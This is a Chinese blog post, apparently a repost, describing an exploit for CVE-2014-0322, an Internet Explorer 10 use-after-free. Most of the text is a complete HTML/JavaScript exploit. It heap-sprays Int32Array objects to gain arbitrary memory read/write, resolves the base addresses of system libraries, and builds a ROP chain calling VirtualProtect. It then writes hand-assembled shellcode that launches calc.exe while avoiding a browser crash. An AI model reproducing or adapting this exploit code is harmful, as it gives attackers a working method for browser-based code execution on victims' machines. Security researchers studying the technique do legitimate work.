标签：blog os io 使用 ar for 2014 div cti
最近在研究js中IntArray、Int32Array等相关Array Object进行Heap Spraying的方法，关于Array Object Heap Spraying的方法上篇文章已经说过，这里不再赘述。今天，主要以cve-2014-0322这个漏洞为例，来看一下Array Object Heap Spraying具体如何使用，以及怎样将UAF类型的转换为任意地址读写，同时，来看一下如何保证IE漏洞利用时不崩溃。
UAF转换为任意地址读写，无非是程序流程上的控制，主要是漏洞触发点函数以及后续的相关处理流程，只要有对释放后对象内存进行写操作的，大部分我们都可以进行后续的利用，将其与Array相结合，从而实现任意地址读写。
转换为任意地址的读写的好处在于更便于流程的控制，以及后续shellcode的触发。本样例中shellcode的触发借鉴了原始样本中shellcode触发的思想，都是修改pvftable，然后调用相应的Array函数，从而触发shellcode。
对于如何保证IE漏洞利用后不崩溃，目前能想到的就是借用ROP构造的临时栈进行跳转，实现shellcode的利用，利用完成后，恢复到esp到原始栈空间，并且还原修改过的内存，最后jmp到正确的Array函数中。这种方法有其局限性，但也有它的好处。局限性在于对于不同的函数而言，可能对寄存器还有所要求，并且其esp恢复时，ebp减去的值并不固定，需要根据情况硬编码。其好处在于函数的选择权在我们手里，只有有一个函数能够实现这种方法，它就具有通用性，因为对于同一函数而言，其内部的调用过程都是一定的，这样我们恢复的时候就较为简单。其代码如下所示，win7+IE10。
<html>
<head id="headId">
<title>main page</title>
<script>
function dword2data(dword) {
var d = Number(dword).toString(16);
while (d.length < 8)
d = ‘0‘ + d;
return unescape(‘%u‘ + d.substr(4, 8) + ‘%u‘ + d.substr(0, 4));
}
var g_arr = [];
var arrLen = 0x50;
function fun()
{
var a=0;
// to alloc the memory
for(a=0;a<arrLen;++a)
{
g_arr[a]=document.createElement(‘div‘)
};
var b = dword2data(0x41414141);
var c = 0x0a0bf000;
while(b.length<0x360)
{
if(b.length==(0x94/2)) b+=dword2data(c+0x20-0xc);
else if(b.length==(0x98/2)) b+=dword2data(c+0x20-0x8);
else if(b.length==(0xac/2)) b+=dword2data(0x0a0b001b-0x10);
else if(b.length==(0x15c/2)) b+=dword2data(0x42424242);
else b += dword2data(0x41414141);
}
var d=b.substring(0,(0x340-2)/2);
try{
this.outerHTML=this.outerHTML
} catch(e){}
CollectGarbage();
//to reuse the freed memory
for(a=0;a<arrLen;++a)
{
g_arr[a].title=d.substring(0,d.length);
}
}
function puIHa3() {
var a = document.getElementsByTagName("script");
var b = a[0];
b.onpropertychange = fun ;
var c = document.createElement(‘SELECT‘);
c = b.appendChild(c);//
}
var x = new Array();
var xx = new Array();
function LargBlock() {
for (var k=0;k<0x10;k++)
{
if(k==0) xx[k] = new ArrayBuffer();
else xx[k] = new ArrayBuffer(0x2000);
}
}
function spray() {
for (var k=0;k<0x800;k++)
{
x[k] = new Array(0x3bf8);
for (var i = 0; i< 0x55;i++)
{
x[k][i] = new Int32Array(xx[0]);
}
for(;i<0x3bf8;i++)
{
x[k][i] = i;
}
}
}
function findArray(size) {
for (var k=0;k<0x800;k++)
{
for (var i = 0; i< 0x55;i++)
{
if(x[k][i].length != 0)
{
return [k,i];
}
}
}
return -1;
}
function dll_baseaddress(address,index) {
var pp = address & 0xffff0000;
var count=0;
while(1)
{
if(x[index[0]][index[1]][pp/0x4] == 0x00905a4d)
{
return pp;
}
else pp=pp-0x10000;
count++;
if(count==50) return -1;
}
}
function module_baseaddress(other_baseaddress,index,name) {
var e_lfanew = x[index[0]][index[1]][(other_baseaddress+0x3c)/4];
var image_file_header = other_baseaddress+e_lfanew;
var image_data_directorys = image_file_header+0x78;
var import_table_address = other_baseaddress+x[index[0]][index[1]][image_data_directorys/4+2];
var import_table_size = x[index[0]][index[1]][image_data_directorys/4+3];
for(var k=0;k<import_table_size/0x14;k++)
{
var import_dll_address = import_table_address + k*0x14;
var dll_name_address = other_baseaddress+x[index[0]][index[1]][import_dll_address/4+3];
if(x[index[0]][index[1]][dll_name_address/4]==name[0] &&
x[index[0]][index[1]][dll_name_address/4+1]==name[1])
{
var first_thunk = other_baseaddress+x[index[0]][index[1]][import_dll_address/4+4];
var function1 = x[index[0]][index[1]][first_thunk/4];
return dll_baseaddress(function1,index);
}
}
return -1;
}
function GetEIP(index) {
}
function judge(test,index) {
if(x[index[0]][index[1]][test/4]==x[index[0]][index[1]][test/4+8])
{
return 1;
}
else
{
return -1;
}
}
LargBlock();
spray();
puIHa3();
for(var k=0;k<0x800;k++)
{
x[k][15358] = 0x20000000;
}
var info = findArray(0x20000000);
x[info[0]][info[1]][0x0a0bf018/4] = 0x20000000;
var pvftable_int32array = x[info[0]][info[1]][0x0a0bf000/4];
var jscript9_base_address=dll_baseaddress(pvftable_int32array,info);
var kernel32_base_address=module_baseaddress(jscript9_base_address,info,[0x4e52454b,0x32334c45]);
var msvcrt_base_address = module_baseaddress(jscript9_base_address,info,[0x6376736d,0x642e7472]);
var ntdll_base_address = module_baseaddress(kernel32_base_address,info,[0x6c64746e,0x6c642e6c]);
var xx_2 = x[info[0]][info[1]][0x0a0bf020/4];
//for test
if(judge(xx_2,info)) {
//x[info[0]][info[1]][0x0a0bf030/4] = 0;
//x[info[0]][info[1]][0x0a0bf048/4] = 0x100;
//x[info[0]][info[1]+1][0] = 0;
//alert(‘1‘);
var xx_3 = x[info[0]][info[1]][xx_2/4+0xc];
var xx_4 = x[info[0]][info[1]][xx_2/4+0x2c];
//for(var k=info[1]+1;k<0x55;k++)
//{
// delete x[info[0]][k];
//}
//CollectGarbage();
//for(var k=info[1]+1;k<0x55;k++)
//{
// x[info[0]][k] = new Int32Array(xx[1]);
//}
delete x[info[0]][info[1]+1];
CollectGarbage();
x[info[0]][info[1]+1] = new Int32Array(xx[4]);
delete x[info[0]][info[1]+2];
CollectGarbage();
x[info[0]][info[1]+2] = new Int32Array(xx[5]);
//for(var k=0;k<0x150/4;k++)
//{
//x[info[0]][info[1]+1][k] = jscript9_base_address+0x0003845e;
//}
x[info[0]][info[1]+1][0x140/4] = jscript9_base_address+0x0003845e; //xchg eax,esp#retn
x[info[0]][info[1]+1][0] = kernel32_base_address+0x000020d8; //VirtualProtect
x[info[0]][info[1]+1][1] = x[info[0]][info[1]][0x0a0bf07c/4];
x[info[0]][info[1]+1][2] = x[info[0]][info[1]][0x0a0bf07c/4]&0xffff000; //Address
//alert(x[info[0]][info[1]+1][1].toString(16));
x[info[0]][info[1]+1][3] = 0x1000; //size
x[info[0]][info[1]+1][4] = 0x40; //newprotect:page_execute_readwrite
x[info[0]][info[1]+1][5] = 0x0a0bf038; //oldprotect
x[info[0]][info[1]+1][6] = x[info[0]][info[1]][0x0a0bf04c/4]+0x40;
x[info[0]][info[1]+1][7] = 5; //ret address
//
//xB8xADx23x86x7C
//[info[0]][info[1]][0x0a0bf04c/4]+0x40;
//calc.exe
x[info[0]][info[1]+1][16] = 0x636c6163;
x[info[0]][info[1]+1][17] = 0x6578652e;
var HeapDataAddress = x[info[0]][info[1]][0x0a0bf04c/4];
var HeapEntry1 = x[info[0]][info[1]][HeapDataAddress/4-2];
var HeapEntry2 = x[info[0]][info[1]][HeapDataAddress/4-1];
x[info[0]][info[1]+1][32] = HeapEntry1;
x[info[0]][info[1]+1][33] = HeapEntry2;
//shellcode
//B8 78563412 mov eax,0x12345678
//FFD0 call eax
//8BE5 mov esp,ebp
//83EC 78 sub esp,0x78
//B8 78563412 mov eax,0x12345678
//BB 30F00B0A mov ebx,0xA0BF030
//B9 30F00B0A mov ecx,0xA0BF030
//C705 30F00B0A 78563412 mov dword ptr ds:[0xA0BF030],0x12345678
//C705 18F00B0A 00000000 mov dword ptr ds:[0xA0BF018],0x0
//C705 78563412 78563412 mov dword ptr ds:[0x12345678],0x12345678
//C705 78563412 78563412 mov dword ptr ds:[0x12345678],0x12345678
//FFE0 jmp eax
x[info[0]][info[1]+2][0] = ((kernel32_base_address+0x8edae)<<8) + 0xB8;
x[info[0]][info[1]+2][1] = (kernel32_base_address>>24)+0x8bD0ff00;
x[info[0]][info[1]+2][2] = 0x78EC83e5;
x[info[0]][info[1]+2][3] = 0xb8 + (x[info[0]][info[1]][(pvftable_int32array+0x140)/4] << 8);
x[info[0]][info[1]+2][4] = (x[info[0]][info[1]][(pvftable_int32array+0x140)/4] >> 24) + 0xf030bb00;
x[info[0]][info[1]+2][5] = 0x30b90a0b;
x[info[0]][info[1]+2][6] = 0xc70a0bf0;
x[info[0]][info[1]+2][7] = 0x0bf03005;
x[info[0]][info[1]+2][8] = 0x0a + (pvftable_int32array << 8);
x[info[0]][info[1]+2][9] = (pvftable_int32array >> 24) + 0x1805c700;
x[info[0]][info[1]+2][10] = 0x0a0bf0;
x[info[0]][info[1]+2][11] = 0xc7000000;
x[info[0]][info[1]+2][12] = 0x05 + ((HeapDataAddress-0x8)<<8);
x[info[0]][info[1]+2][13] =((HeapDataAddress-0x8)>>24) + (HeapEntry1 << 8);
x[info[0]][info[1]+2][14] = (HeapEntry1>>24) + 0x05c700 + ((HeapDataAddress-0x4)<<24);
x[info[0]][info[1]+2][15] = ((HeapDataAddress-0x4)>>8) + (HeapEntry2 << 24);
x[info[0]][info[1]+2][16] = (HeapEntry2 >> 8) + 0xff000000;
x[info[0]][info[1]+2][17] = 0xe0;
//alert(‘1‘);
x[info[0]][info[1]][0x0a0bf030/4] = x[info[0]][info[1]][0x0a0bf04c/4];
x[info[0]][info[1]+1][0] = 0;
//alert(‘1‘);
//delete x[info[0]][info[1]+1];
//delete x[info[0]][info[1]+2];
//CollectGarbage();
}
</script>
</head>
</html>
CVE-2014-0322 (MS14-012) exploit
标签：blog os io 使用 ar for 2014 div cti
原文地址：http://www.cnblogs.com/wal613/p/3963318.html
